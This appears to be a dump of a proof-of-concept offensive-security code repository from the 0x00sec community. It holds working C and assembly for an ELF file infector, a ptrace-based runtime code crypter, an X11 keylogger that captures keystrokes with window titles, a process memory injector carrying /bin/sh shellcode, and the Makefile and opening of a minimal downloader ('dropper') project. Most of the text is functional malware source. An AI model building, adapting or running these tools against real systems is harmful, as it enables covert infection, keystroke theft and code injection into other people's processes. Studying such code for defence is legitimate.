| 184 | if (r ==0) 185 | { 186 | printf ("+ Pattern %lx found at offset %d -> %lx\n", pat, i, val); 187 | *((long*)(p+i)) = val; 188 | return 0; 189 | } 190 | } 191 | return -1; 192 | } 193 | 194 | int 195 | main (int argc, char *argv[]) 196 | { 197 | void *d, *d1; 198 | int target_fd, payload_fd; 199 | int fsize, fsize1; 200 | Elf64_Ehdr* elf_hdr; 201 | Elf64_Phdr *t_text_seg; 202 | Elf64_Shdr *p_text_sec; 203 | Elf64_Addr base, ep; 204 | int p, len; 205 | 206 | 207 | printf ("Segment Padding Infector for 0x00sec\nby pico\n\n"); 208 | if (argc != 3) 209 | { 210 | fprintf (stderr, "Usage:\n %s elf_file payload\n", argv[0]); 211 | exit (1); 212 | } 213 | 214 | /* Open and map target ELF */ 215 | target_fd = elfi_open_and_map (argv[1], &d, &fsize); 216 | 217 | /* Get Application Entry point */ 218 | elf_hdr = (Elf64_Ehdr *) d; 219 | ep = elf_hdr->e_entry; 220 | printf ("+ Target Entry point: %p\n", (void*) ep); 221 | 222 | #ifdef DEBUG 223 | elfi_dump_segments (d); 224 | #endif 225 | 226 | /* Find executable segment and obtain offset and gap size */ 227 | t_text_seg = elfi_find_gap (d, fsize, &p, &len); 228 | base = t_text_seg->p_vaddr; 229 | 230 | printf ("+ Base Address : 0x%p\n", (void*)base); 231 | 232 | /* Process payload */ 233 | payload_fd = elfi_open_and_map (argv[2], &d1, &fsize1); 234 | 235 | p_text_sec = elfi_find_section (d1, ".text"); 236 | 237 | /* XXX: Looks like we do not really have to patch the segment sizes */ 238 | /* 239 | t_text_seg->p_filesz += p_text_sec->sh_size; 240 | t_text_seg->p_memsz += p_text_sec->sh_size; 241 | */ 242 | 243 | printf ("+ Payload .text section found at %lx (%lx bytes)\n", 244 | p_text_sec->sh_offset, p_text_sec->sh_size); 245 | 246 | if (p_text_sec->sh_size > len) 247 | { 248 | fprintf (stderr, "- Payload to big, cannot infect file.\n"); 249 | exit (1); 250 | } 251 | /* Copy payload in the segment padding area */ 252 | memmove (d + p, d1 + p_text_sec->sh_offset, p_text_sec->sh_size); 253 | 254 | /* Patch return address */ 255 | elfi_mem_subst (d+p, p_text_sec->sh_size, 0x11111111, (long)ep); 256 | 257 | /* Patch entry point */ 258 | elf_hdr->e_entry = (Elf64_Addr) (base + p); 259 | 260 | /* Close files and actually update target file */ 261 | close (payload_fd); 262 | close (target_fd); 263 | 264 | return 0; 265 | } 266 | 267 | 268 | /* 269 | Compile payload 270 | nasm -f elf64 -o payload.o payload.asm;ld -o payload payload.o 271 | */ 272 | -------------------------------------------------------------------------------- /elfun/payload.asm: -------------------------------------------------------------------------------- 1 | ; ELFun 2 | ; Copyright (c) 2016 picoFlamingo 3 | ; 4 | ;This program is free software: you can redistribute it and/or modify 5 | ;it under the terms of the GNU General Public License as published by 6 | ;the Free Software Foundation, either version 3 of the License, or 7 | ;(at your option) any later version. 8 | ; 9 | ;This program is distributed in the hope that it will be useful, 10 | ;but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | ;MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | ;GNU General Public License for more details. 13 | ; 14 | ;You should have received a copy of the GNU General Public License 15 | ;along with this program. If not, see . 16 | 17 | 18 | ; Read the post at 0x00sec.org 19 | ; 20 | ; https://0x00sec.org/t/elfun-file-injector/410: 21 | 22 | section .text 23 | global _start 24 | 25 | _start: 26 | mov rax,1 ; [1] - sys_write 27 | mov rdi,1 ; 0 = stdin / 1 = stdout / 2 = stderr 28 | lea rsi,[rel msg] ; pointer(mem address) to msg (*char[]) 29 | mov rdx, msg_end - msg ; msg size 30 | syscall ; calls the function stored in rax 31 | 32 | mov rax, 0x11111111 33 | jmp rax 34 | 35 | mov rax,60 ; [60] - sys_exit 36 | mov rdi,42 ; exit with code rdx(0) 37 | syscall 38 | 39 | align 8 40 | msg db 'This file has been infected for 0x00SEC',0x0a,0 41 | msg_end db 0x0 42 | -------------------------------------------------------------------------------- /ibi_crypter/Makefile: -------------------------------------------------------------------------------- 1 | all: crypter_rt target1 target 2 | 3 | crypter_rt: crypter_rt.c 4 | ${CC} ${CFLAGS} -o $@ $< 5 | 6 | target: target.c stub.c 7 | ${CC} ${CFLAGS} -o $@ target.c stub.c 8 | ./crypter_rt $@ 9 | @echo "***********************************************" 10 | @echo "Update section address and size in stub.c!!!!!!!" 11 | @readelf -S $@ | grep "secure" 12 | 13 | target1: target.c stub.c 14 | ${CC} ${CFLAGS} -o $@ target.c stub.c 15 | 16 | 17 | .PHONY: 18 | clean: 19 | rm crypter_rt target target1 20 | -------------------------------------------------------------------------------- /ibi_crypter/crypter_rt.c: -------------------------------------------------------------------------------- 1 | /* 2 | IBI Linux Crypter. JIT Crypter PoC 3 | Copyright (c) 2016 picoFlamingo 4 | 5 | This program is free software: you can redistribute it and/or modify 6 | it under the terms of the GNU General Public License as published by 7 | the Free Software Foundation, either version 3 of the License, or 8 | (at your option) any later version. 9 | 10 | This program is distributed in the hope that it will be useful, 11 | but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | GNU General Public License for more details. 14 | 15 | You should have received a copy of the GNU General Public License 16 | along with this program. If not, see . 17 | */ 18 | 19 | 20 | #include 21 | #include 22 | #include 23 | 24 | 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | 31 | #define KEY_MASK 0x7 32 | 33 | static char key[8] ="\x42\x42\x42\x42\x42\x42\x42\x42"; 34 | #define DIE(s) {perror(s);exit(1);} 35 | 36 | /* Helper functions */ 37 | static int 38 | get_file_size (int fd) 39 | { 40 | struct stat _info; 41 | 42 | fstat (fd, &_info); 43 | 44 | return _info.st_size; 45 | } 46 | 47 | Elf64_Shdr * 48 | elfi_find_section (void *data, char *name) 49 | { 50 | char *sname; 51 | int i; 52 | Elf64_Ehdr* elf_hdr = (Elf64_Ehdr *) data; 53 | Elf64_Shdr *shdr = (Elf64_Shdr *)(data + elf_hdr->e_shoff); 54 | Elf64_Shdr *sh_strtab = &shdr[elf_hdr->e_shstrndx]; 55 | const char *const sh_strtab_p = data + sh_strtab->sh_offset; 56 | 57 | printf ("+ %d section in file. Looking for section '%s'\n", 58 | elf_hdr->e_shnum, name); 59 | 60 | for (i = 0; i < elf_hdr->e_shnum; i++) 61 | { 62 | sname = (char*) (sh_strtab_p + shdr[i].sh_name); 63 | if (!strcmp (sname, name)) return &shdr[i]; 64 | } 65 | 66 | return NULL; 67 | } 68 | 69 | void 70 | xor_block (unsigned char *data, int len) 71 | { 72 | int i; 73 | for (i = 0; i < len; data[i] ^= key[i & KEY_MASK], i++); 74 | } 75 | 76 | void 77 | encode (char *f) 78 | { 79 | int fd, len; 80 | unsigned char *p; 81 | Elf64_Shdr *s; 82 | 83 | printf ("+ Encoding\n"); 84 | if ((fd = open (f, O_RDWR, 0)) < 0) DIE ("open"); 85 | len = (get_file_size (fd)); 86 | if ((p = mmap (0, len, 87 | PROT_READ | PROT_WRITE, 88 | MAP_SHARED, fd, 0)) == MAP_FAILED) DIE ("mmap"); 89 | 90 | if ((s = elfi_find_section (p, ".secure")) == NULL) 91 | { 92 | fprintf (stderr, "- No secure section found... Done\n"); 93 | close (fd); 94 | exit (1); 95 | } 96 | 97 | xor_block (p + s->sh_offset, s->sh_size); 98 | 99 | /* Store Offset and size */ 100 | #if 0 101 | *((int*)(p + 0x09)) = s->sh_offset; 102 | *((short*)(p + 0x0d)) = s->sh_size; 103 | #endif 104 | printf ("+ Offsets: 0x%x, 0x%x\n", 105 | (unsigned int)s->sh_offset, (unsigned int)s->sh_size); 106 | close (fd); 107 | 108 | return; 109 | } 110 | 111 | 112 | int 113 | main (int argc, char *argv[]) 114 | { 115 | if (argc != 2) {fprintf (stderr,"Invalid Number of Params\n");exit(1);} 116 | 117 | encode (argv[1]); 118 | return 0; 119 | } 120 | 121 | -------------------------------------------------------------------------------- /ibi_crypter/stub.c: -------------------------------------------------------------------------------- 1 | /* 2 | IBI Linux Crypter. JIT Crypter PoC 3 | Copyright (c) 2016 picoFlamingo 4 | 5 | This program is free software: you can redistribute it and/or modify 6 | it under the terms of the GNU General Public License as published by 7 | the Free Software Foundation, either version 3 of the License, or 8 | (at your option) any later version. 9 | 10 | This program is distributed in the hope that it will be useful, 11 | but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | GNU General Public License for more details. 14 | 15 | You should have received a copy of the GNU General Public License 16 | along with this program. If not, see . 17 | */ 18 | 19 | #include 20 | #include 21 | #include 22 | 23 | #include 24 | #include 25 | #include 26 | #include 27 | 28 | #include 29 | #include 30 | 31 | #include "stub.h" 32 | 33 | 34 | 35 | #ifdef DEBUG 36 | #define DPRINTF(...) fprintf( stderr, __VA_ARGS__ ); 37 | #else 38 | #define DPRINTF(...) 39 | #endif 40 | /* 64 bits constants */ 41 | #if 1 42 | #define OPCODE_MASK 0xffffffffffffff00 43 | #define KEY 0x4242424242424242 44 | #else 45 | #define OPCODE_MASK 0xffffff00 46 | #define KEY 0x42424242 47 | #endif 48 | 49 | // XOR encoding data 50 | #define KEY_MASK 7 51 | static char key[8] ="\x42\x42\x42\x42\x42\x42\x42\x42"; 52 | 53 | 54 | // Helper macros 55 | #define XOR(op1) {int _i; unsigned char *_p; for (_p = (unsigned char*) &op1, _i = 0; _i < 8; _p[_i] ^= key[_i & KEY_MASK], _i++);} 56 | 57 | #define PERROR(s) {perror(s); exit (1);} 58 | 59 | pid_t _pid; 60 | 61 | 62 | // Get this values from readelf... Should get them from the ELF itself 63 | // just being lazy 64 | static void *secure_ptr = (void*)0x0400e22; 65 | static int secure_len = 0x0e22; 66 | 67 | // Helper function for debugging... not used 68 | void 69 | _dump_opcodes (unsigned char *p, int len) 70 | { 71 | int i; 72 | for (i = 0; i < len; i++) printf ("%02x ", p[i]); 73 | printf ("\n"); 74 | } 75 | 76 | int 77 | _stub (void *ep) 78 | { 79 | void *bp_ip; 80 | long ip1, op1, op2; 81 | struct user_regs_struct regs; 82 | int status, cnt; 83 | 84 | printf ("%s", "0x00pf IbI Crypter Stub\n"); 85 | 86 | // Start debugging!!! 87 | if ((_pid = fork ()) < 0) PERROR("fork:"); 88 | 89 | if (_pid == 0) return 0; // Child process just keeps running 90 | else 91 | { 92 | // Father starts debugging child 93 | if ((ptrace (PTRACE_ATTACH, _pid, NULL, NULL)) < 0) PERROR ("ptrace_attach:"); 94 | printf ("%s", "+ Waiting for process...\n"); 95 | wait (&status); 96 | 97 | bp_ip = ep; 98 | 99 | // Set breakpoint at get there... 100 | op1 = ptrace (PTRACE_PEEKTEXT, _pid, bp_ip); 101 | DPRINTF("BP: %p 1 Opcode: %lx\n", bp_ip, op1); 102 | if (ptrace (PTRACE_POKETEXT, _pid, bp_ip, 103 | (op1 & 0xFFFFFFFFFFFFFF00) | 0xcc) < 0) PERROR ("ptrace_poke:"); 104 | 105 | // Run until breakpoint is reached. 106 | if (ptrace (PTRACE_CONT, _pid, 0, 0) < 0) PERROR("ptrace_cont:"); 107 | wait (&status); 108 | 109 | ptrace (PTRACE_GETREGS, _pid, 0, ®s); 110 | DPRINTF ("Breakpoint reached: RIP: %llx\n", regs.rip); 111 | regs.rip--; 112 | ptrace (PTRACE_SETREGS, _pid, 0, ®s); 113 | 114 | // REstore opcode 115 | ptrace (PTRACE_POKETEXT, _pid, bp_ip, op1); 116 | 117 | // Start step by step debugging 118 | ip1 = (long) ep; 119 | cnt = 0; 120 | while (WIFSTOPPED (status)) 121 | { 122 | cnt ++; 123 | // Read up to 16 bytes to get the longest instruction possible 124 | // Decode and write back the decoded code to execute it 125 | op1 = ptrace (PTRACE_PEEKTEXT, _pid, ip1); 126 | op2 = ptrace (PTRACE_PEEKTEXT, _pid, ip1 + 8); 127 | DPRINTF ("%lx :: OPCODES : %lx %lx\n", ip1, op1, op2); 128 | 129 | XOR(op1); 130 | XOR(op2); 131 | 132 | DPRINTF ("%lx :: DOPCODES: %lx %lx\n", ip1, op1, op2); 133 | 134 | ptrace (PTRACE_POKETEXT, _pid, ip1, op1); 135 | ptrace (PTRACE_POKETEXT, _pid, ip1 + 8, op2); 136 | 137 | /* Make the child execute another instruction */ 138 | if (ptrace(PTRACE_SINGLESTEP, _pid, 0, 0) < 0) PERROR ("ptrace_singlestep:"); 139 | wait(&status); 140 | 141 | // Re-encode the instruction just executed so we do not have 142 | // to count how many bytes got executed 143 | XOR(op1); 144 | XOR(op2); 145 | 146 | ptrace (PTRACE_POKETEXT, _pid, ip1, op1); 147 | ptrace (PTRACE_POKETEXT, _pid, ip1 + 8, op2); 148 | 149 | // Get the new IP 150 | ptrace (PTRACE_GETREGS, _pid, 0, ®s); 151 | ip1 = regs.rip; 152 | 153 | // If code is outside .secure section we stop debugging 154 | if ((void*)ip1 < secure_ptr || (void*)ip1 > secure_ptr + secure_len) 155 | { 156 | printf ("Leaving .secure section... %d instructions executed\n", cnt); 157 | break; 158 | } 159 | } 160 | 161 | ptrace (PTRACE_CONT, _pid, 0, 0); 162 | wait (&status); 163 | } 164 | 165 | printf ("DONE\n"); 166 | exit (1); 167 | } 168 | 169 | // http://eli.thegreenplace.net/2011/01/27/how-debuggers-work-part-2-breakpoints 170 | // http://mainisusuallyafunction.blogspot.nl/2011/01/implementing-breakpoints-on-x86-linux.html 171 | // http://www.alexonlinux.com/how-debugger-works 172 | //http://eli.thegreenplace.net/2011/01/23/how-debuggers-work-part-1 173 | -------------------------------------------------------------------------------- /ibi_crypter/stub.h: -------------------------------------------------------------------------------- 1 | /* 2 | IBI Linux Crypter. JIT Crypter PoC 3 | Copyright (c) 2016 picoFlamingo 4 | 5 | This program is free software: you can redistribute it and/or modify 6 | it under the terms of the GNU General Public License as published by 7 | the Free Software Foundation, either version 3 of the License, or 8 | (at your option) any later version. 9 | 10 | This program is distributed in the hope that it will be useful, 11 | but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | GNU General Public License for more details. 14 | 15 | You should have received a copy of the GNU General Public License 16 | along with this program. If not, see . 17 | */ 18 | 19 | #ifndef STUB_H 20 | #define STUB_H 21 | 22 | #ifdef __cplusplus 23 | extern "C" { 24 | #endif 25 | 26 | int _stub (void *ep); 27 | 28 | #ifdef __cplusplus 29 | } 30 | #endif 31 | 32 | #endif 33 | -------------------------------------------------------------------------------- /ibi_crypter/target.c: -------------------------------------------------------------------------------- 1 | /* 2 | IBI Linux Crypter. JIT Crypter PoC 3 | Copyright (c) 2016 picoFlamingo 4 | 5 | This program is free software: you can redistribute it and/or modify 6 | it under the terms of the GNU General Public License as published by 7 | the Free Software Foundation, either version 3 of the License, or 8 | (at your option) any later version. 9 | 10 | This program is distributed in the hope that it will be useful, 11 | but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | GNU General Public License for more details. 14 | 15 | You should have received a copy of the GNU General Public License 16 | along with this program. If not, see . 17 | */ 18 | 19 | #include 20 | #include "stub.h" 21 | 22 | #define CRYPT_ME __attribute__((section(".secure"))) 23 | 24 | // This function is crypted 25 | CRYPT_ME int 26 | check_key (unsigned char *str) 27 | { 28 | int i; 29 | unsigned char *p = str; 30 | 31 | while (*p) {*p -= '0'; p++;}; 32 | if (str[0] + str[1] != 5) return 1; 33 | if (str[2] * str[3] != 10) return 1; 34 | return 0; 35 | } 36 | 37 | 38 | int 39 | main (int argc, char*argv[]) 40 | { 41 | _stub (check_key); // Setup run environment 42 | printf ("Code is %s\n", check_key (argv[1]) ? "INCORRECT": "CORRECT"); 43 | } 44 | -------------------------------------------------------------------------------- /keylogger/Makefile: -------------------------------------------------------------------------------- 1 | all:record 2 | 3 | record:record.c 4 | ${CC} -o $@ $< -lX11 -lXtst 5 | 6 | .PHONY: 7 | clean: 8 | rm record 9 | -------------------------------------------------------------------------------- /keylogger/record.c: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of hacking_codes. 3 | * Copyright (c) pico 2016 4 | * 5 | * This program is free software: you can redistribute 6 | * it and/or modify it under the terms of the GNU General Public License 7 | * as published by the Free Software Foundation, either version 3 8 | * of the License, or (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this Program. If not, see . 17 | * 18 | */ 19 | 20 | 21 | /* Based on code from: 22 | * https://github.com/nibrahim/showkeys/blob/master/tests/record-example.c */ 23 | 24 | #include 25 | #include 26 | #include 27 | 28 | #include 29 | 30 | #include 31 | #include 32 | #include 33 | #include 34 | #include 35 | #include 36 | #include 37 | #include 38 | #include 39 | #include 40 | 41 | 42 | 43 | /* for this struct, refer to libxnee */ 44 | typedef union { 45 | unsigned char type ; 46 | xEvent event ; 47 | xResourceReq req ; 48 | xGenericReply reply ; 49 | xError error ; 50 | xConnSetupPrefix setup; 51 | } XRecordDatum; 52 | 53 | /* 54 | * FIXME: We need define a private struct for callback function, 55 | * to store cur_x, cur_y, data_disp, ctrl_disp etc. 56 | */ 57 | Display *data_disp = NULL; 58 | Display *ctrl_disp = NULL; 59 | Display *query_disp = NULL; 60 | 61 | /* stop flag */ 62 | int stop = 0; 63 | 64 | void event_callback (XPointer, XRecordInterceptData*); 65 | 66 | 67 | static char _wn[4096]; 68 | 69 | /* Find window name */ 70 | int 71 | get_window_name (Window w) 72 | { 73 | XTextProperty tp; 74 | char *aux; 75 | 76 | if (!XGetWMName (query_disp, w, &tp)) /* Get window name if any */ 77 | { 78 | return -1; 79 | } 80 | else if (tp.nitems > 0) 81 | { 82 | aux = _wn; 83 | { 84 | int count = 0, i, ret; 85 | char **list = NULL; 86 | 87 | ret = XmbTextPropertyToTextList (query_disp, &tp, &list, &count); 88 | if ((ret == Success || ret > 0) && list != NULL) 89 | { 90 | for(i = 0; i < count; i++) 91 | aux += sprintf (aux, "%s", list[i]); 92 | XFreeStringList (list); 93 | } 94 | else 95 | { 96 | aux += sprintf (aux, "%s", tp.value); 97 | } 98 | } 99 | 100 | } 101 | return 0; 102 | } 103 | 104 | /* Find the name of a specific window through the window hierarchy */ 105 | int 106 | find_window_name (Window w, Window target) 107 | { 108 | Window parent, *children; 109 | unsigned int nchildren; 110 | int stat, i; 111 | 112 | 113 | get_window_name (w); 114 | if (w == target) return 1; 115 | 116 | stat = XQueryTree (query_disp, w, &w, &parent, &children, &nchildren); 117 | if (stat == FALSE) 118 | { 119 | fprintf(stderr, "Can't query window tree...\n"); 120 | return 0; 121 | } 122 | 123 | if (nchildren == 0) 124 | { 125 | return 0; 126 | } 127 | 128 | 129 | for (i = 0; i < nchildren; i++) 130 | { 131 | if (find_window_name (children[i], target)) return 1; 132 | } 133 | 134 | XFree ((char *)children); 135 | 136 | return 0; 137 | } 138 | 139 | int 140 | main (int argc, char **argv) 141 | { 142 | ctrl_disp = XOpenDisplay (NULL); 143 | data_disp = XOpenDisplay (NULL); 144 | query_disp = ctrl_disp; 145 | 146 | if (!ctrl_disp || !data_disp) 147 | { 148 | fprintf (stderr, "Error to open local display!/n"); 149 | exit (1); 150 | } 151 | 152 | /* 153 | * we must set the ctrl_disp to sync mode, or, when we the enalbe 154 | * context in data_disp, there will be a fatal X error !!! 155 | */ 156 | XSynchronize (ctrl_disp, True); 157 | 158 | int major, minor; 159 | if (!XRecordQueryVersion (ctrl_disp, &major, &minor)) 160 | { 161 | fprintf (stderr, "RECORD extension not supported on this X server!/n"); 162 | exit (2); 163 | } 164 | 165 | printf ("RECORD extension for local server is version is %d.%d/n", major, minor); 166 | 167 | XRecordRange *rr; 168 | XRecordClientSpec rcs; 169 | XRecordContext rc; 170 | 171 | rr = XRecordAllocRange (); 172 | if (!rr) 173 | { 174 | fprintf (stderr, "Could not alloc record range object!/n"); 175 | exit (3); 176 | } 177 | 178 | rr->device_events.last = FocusIn; 179 | rr->device_events.first = KeyPress; 180 | rcs = XRecordAllClients; 181 | 182 | rc = XRecordCreateContext (ctrl_disp, 0, &rcs, 1, &rr, 1); 183 | if (!rc) 184 | { 185 | fprintf (stderr, "Could not create a record context!/n"); 186 | exit (4); 187 | } 188 | 189 | if (!XRecordEnableContextAsync (data_disp, rc, event_callback, NULL)) 190 | { 191 | fprintf (stderr, "Cound not enable the record context!/n"); 192 | exit (5); 193 | } 194 | 195 | while (stop != 1) 196 | { 197 | XRecordProcessReplies (data_disp); 198 | usleep (100); 199 | } 200 | 201 | XRecordDisableContext (ctrl_disp, rc); 202 | XRecordFreeContext (ctrl_disp, rc); 203 | XFree (rr); 204 | 205 | XCloseDisplay (data_disp); 206 | XCloseDisplay (ctrl_disp); 207 | 208 | return 0; 209 | } 210 | 211 | static Window old,current; 212 | static char wn[4096]; 213 | 214 | void event_callback(XPointer priv, XRecordInterceptData *hook) 215 | { 216 | /* FIXME: we need use XQueryPointer to get the first location */ 217 | int revert_to; 218 | char *string; 219 | 220 | if (hook->category != XRecordFromServer) 221 | { 222 | XRecordFreeData (hook); 223 | return; 224 | } 225 | 226 | XRecordDatum *data = (XRecordDatum*) hook->data; 227 | // Check /usr/include/X11/XProto.h for event definitions 228 | int event_type = data->type; 229 | BYTE keycode, mask; 230 | 231 | keycode = data->event.u.u.detail; 232 | mask = data->event.u.keyButtonPointer.state; 233 | 234 | XGetInputFocus (query_disp, ¤t, &revert_to); 235 | 236 | 237 | if (current && current != old) 238 | { 239 | memset (_wn, 0, 4096); 240 | find_window_name (DefaultRootWindow(query_disp), current); 241 | strcpy (wn, _wn); 242 | printf ("\n%s(0x%p):\n-----------------------------------\n", wn, (void*) current); 243 | old = current; 244 | } 245 | 246 | switch (event_type) 247 | { 248 | case FocusIn: 249 | current = data->event.u.focus.window; 250 | 251 | break; 252 | 253 | case KeyPress: 254 | { 255 | /* if escape is pressed, stop the loop and clean up, then exit */ 256 | if (keycode == 9) stop = 1; 257 | 258 | /* Note: you should not use data_disp to do normal X operations !!!*/ 259 | string = XKeysymToString(XKeycodeToKeysym(query_disp, keycode, mask)) ; 260 | 261 | if (string==NULL) printf ("<>", keycode); 262 | else if (!strcmp (string, "Return")) 263 | printf("\n"); 264 | else if (!strcmp (string, "at")) 265 | printf("@"); 266 | 267 | else if (strlen(string) == 1) 268 | printf("%s", string); 269 | else 270 | printf("<<%s>>", string); 271 | 272 | 273 | break; 274 | } 275 | default: 276 | break; 277 | } 278 | fflush (stdout); 279 | 280 | 281 | XRecordFreeData (hook); 282 | } 283 | 284 | 285 | 286 | // gcc -o record record.c -lX11 -lXtst 287 | 288 | -------------------------------------------------------------------------------- /mem_inject/Makefile: -------------------------------------------------------------------------------- 1 | all:infect target 2 | 3 | infect: infect.c 4 | ${CC} -o $@ $< 5 | 6 | target: target.c 7 | ${CC} -o $@ $< 8 | 9 | .PHONY: 10 | clean: 11 | rm -f infect target 12 | -------------------------------------------------------------------------------- /mem_inject/infect.c: -------------------------------------------------------------------------------- 1 | /* 2 | Mem Inject 3 | Copyright (c) 2016 picoFlamingo 4 | 5 | This program is free software: you can redistribute it and/or modify 6 | it under the terms of the GNU General Public License as published by 7 | the Free Software Foundation, either version 3 of the License, or 8 | (at your option) any later version. 9 | 10 | This program is distributed in the hope that it will be useful, 11 | but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | GNU General Public License for more details. 14 | 15 | You should have received a copy of the GNU General Public License 16 | along with this program. If not, see . 17 | */ 18 | 19 | #include 20 | #include 21 | #include 22 | #include 23 | 24 | 25 | #include 26 | #include 27 | #include 28 | #include 29 | 30 | #include 31 | #include 32 | 33 | #define SHELLCODE_SIZE 32 34 | 35 | unsigned char *shellcode = 36 | "\x48\x31\xc0\x48\x89\xc2\x48\x89" 37 | "\xc6\x48\x8d\x3d\x04\x00\x00\x00" 38 | "\x04\x3b\x0f\x05\x2f\x62\x69\x6e" 39 | "\x2f\x73\x68\x00\xcc\x90\x90\x90"; 40 | 41 | 42 | int 43 | inject_data (pid_t pid, unsigned char *src, void *dst, int len) 44 | { 45 | int i; 46 | uint32_t *s = (uint32_t *) src; 47 | uint32_t *d = (uint32_t *) dst; 48 | 49 | for (i = 0; i < len; i+=4, s++, d++) 50 | { 51 | if ((ptrace (PTRACE_POKETEXT, pid, d, *s)) < 0) 52 | { 53 | perror ("ptrace(POKETEXT):"); 54 | return -1; 55 | } 56 | } 57 | return 0; 58 | } 59 | 60 | int 61 | main (int argc, char *argv[]) 62 | { 63 | pid_t target; 64 | struct user_regs_struct regs; 65 | int syscall; 66 | long dst; 67 | 68 | if (argc != 2) 69 | { 70 | fprintf (stderr, "Usage:\n\t%s pid\n", argv[0]); 71 | exit (1); 72 | } 73 | target = atoi (argv[1]); 74 | printf ("+ Tracing process %d\n", target); 75 | 76 | if ((ptrace (PTRACE_ATTACH, target, NULL, NULL)) < 0) 77 | { 78 | perror ("ptrace(ATTACH):"); 79 | exit (1); 80 | } 81 | 82 | printf ("+ Waiting for process...\n"); 83 | wait (NULL); 84 | 85 | printf ("+ Getting Registers\n"); 86 | if ((ptrace (PTRACE_GETREGS, target, NULL, ®s)) < 0) 87 | { 88 | perror ("ptrace(GETREGS):"); 89 | exit (1); 90 | } 91 | 92 | 93 | /* Inject code into current RPI position */ 94 | 95 | printf ("+ Injecting shell code at %p\n", (void*)regs.rip); 96 | inject_data (target, shellcode, (void*)regs.rip, SHELLCODE_SIZE); 97 | 98 | regs.rip += 2; 99 | printf ("+ Setting instruction pointer to %p\n", (void*)regs.rip); 100 | 101 | if ((ptrace (PTRACE_SETREGS, target, NULL, ®s)) < 0) 102 | { 103 | perror ("ptrace(GETREGS):"); 104 | exit (1); 105 | } 106 | printf ("+ Run it!\n"); 107 | 108 | 109 | if ((ptrace (PTRACE_DETACH, target, NULL, NULL)) < 0) 110 | { 111 | perror ("ptrace(DETACH):"); 112 | exit (1); 113 | } 114 | return 0; 115 | 116 | } 117 | -------------------------------------------------------------------------------- /mem_inject/s64-1.asm: -------------------------------------------------------------------------------- 1 | /* 2 | Mem Inject (x86 64bits shellcode) 3 | Copyright (c) 2016 picoFlamingo 4 | 5 | This program is free software: you can redistribute it and/or modify 6 | it under the terms of the GNU General Public License as published by 7 | the Free Software Foundation, either version 3 of the License, or 8 | (at your option) any later version. 9 | 10 | This program is distributed in the hope that it will be useful, 11 | but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | GNU General Public License for more details. 14 | 15 | You should have received a copy of the GNU General Public License 16 | along with this program. If not, see . 17 | */ 18 | 19 | section .text 20 | global _start 21 | 22 | _start: 23 | xor rax,rax 24 | mov rdx,rax ; No Env 25 | mov rsi,rax ; No argv 26 | lea rdi, [rel msg] 27 | 28 | add al, 0x3b 29 | 30 | syscall 31 | msg db '/bin/sh',0 32 | 33 | ; nasm -f elf -o s64.o s64.asm 34 | ; ld -o s64 s64.o 35 | -------------------------------------------------------------------------------- /mem_inject/target.c: -------------------------------------------------------------------------------- 1 | /* 2 | Mem Inject (target process) 3 | Copyright (c) 2016 picoFlamingo 4 | 5 | This program is free software: you can redistribute it and/or modify 6 | it under the terms of the GNU General Public License as published by 7 | the Free Software Foundation, either version 3 of the License, or 8 | (at your option) any later version. 9 | 10 | This program is distributed in the hope that it will be useful, 11 | but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | GNU General Public License for more details. 14 | 15 | You should have received a copy of the GNU General Public License 16 | along with this program. If not, see . 17 | */ 18 | 19 | #include 20 | #include 21 | 22 | int main() 23 | { 24 | int i; 25 | printf ("PID: %d\n", (int)getpid()); 26 | for(i = 0; i < 10; i++) 27 | { 28 | write (1, "Hello World\n", 12); 29 | sleep(2); 30 | } 31 | getchar(); 32 | 33 | return 0; 34 | } 35 | -------------------------------------------------------------------------------- /min_dropper/Makefile: -------------------------------------------------------------------------------- 1 | all:pwget nwget nwget1 fwget fwget1 2 | 3 | nwget1: nwget1.c minios.s 4 | ${CC} -static -nostartfiles -nostdlib -o $@ nwget1.c minios.s 5 | strip -s $@ -o $@.stripped 6 | 7 | nwget: nwget.c 8 | diet ${CC} -Os -o nwget nwget.c 9 | strip -s nwget 10 | 11 | pwget: pwget.asm 12 | nasm -f elf64 pwget.asm -o pwget.o 13 | ld -o pwget pwget.o 14 | chmod +x pwget 15 | 16 | fwget: fwget.asm 17 | nasm -f bin -o fwget fwget.asm 18 | chmod +x fwget 19 | 20 | fwget1: fwget1.asm 21 | nasm -f bin -o fwget1 fwget1.asm 22 | chmod +x fwget1 23 | 24 | -------------------------------------------------------------------------------- /min_dropper/cooldumper.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Cooldumper. Dumps file as echo hex strings on ptraced process 3 | * Copyright (c) 2020 pico (@0x00pico at twitter) 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * This program is distributed in the hope that it will be useful, 10 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | * GNU General Public License for more details. 13 | * You should have received a copy of the GNU General Public License 14 | * along with this program. If not, see . 15 | */ 16 | 17 | /* 18 | Run as: 19 | $ cat binary_file | ./cooldumper PID 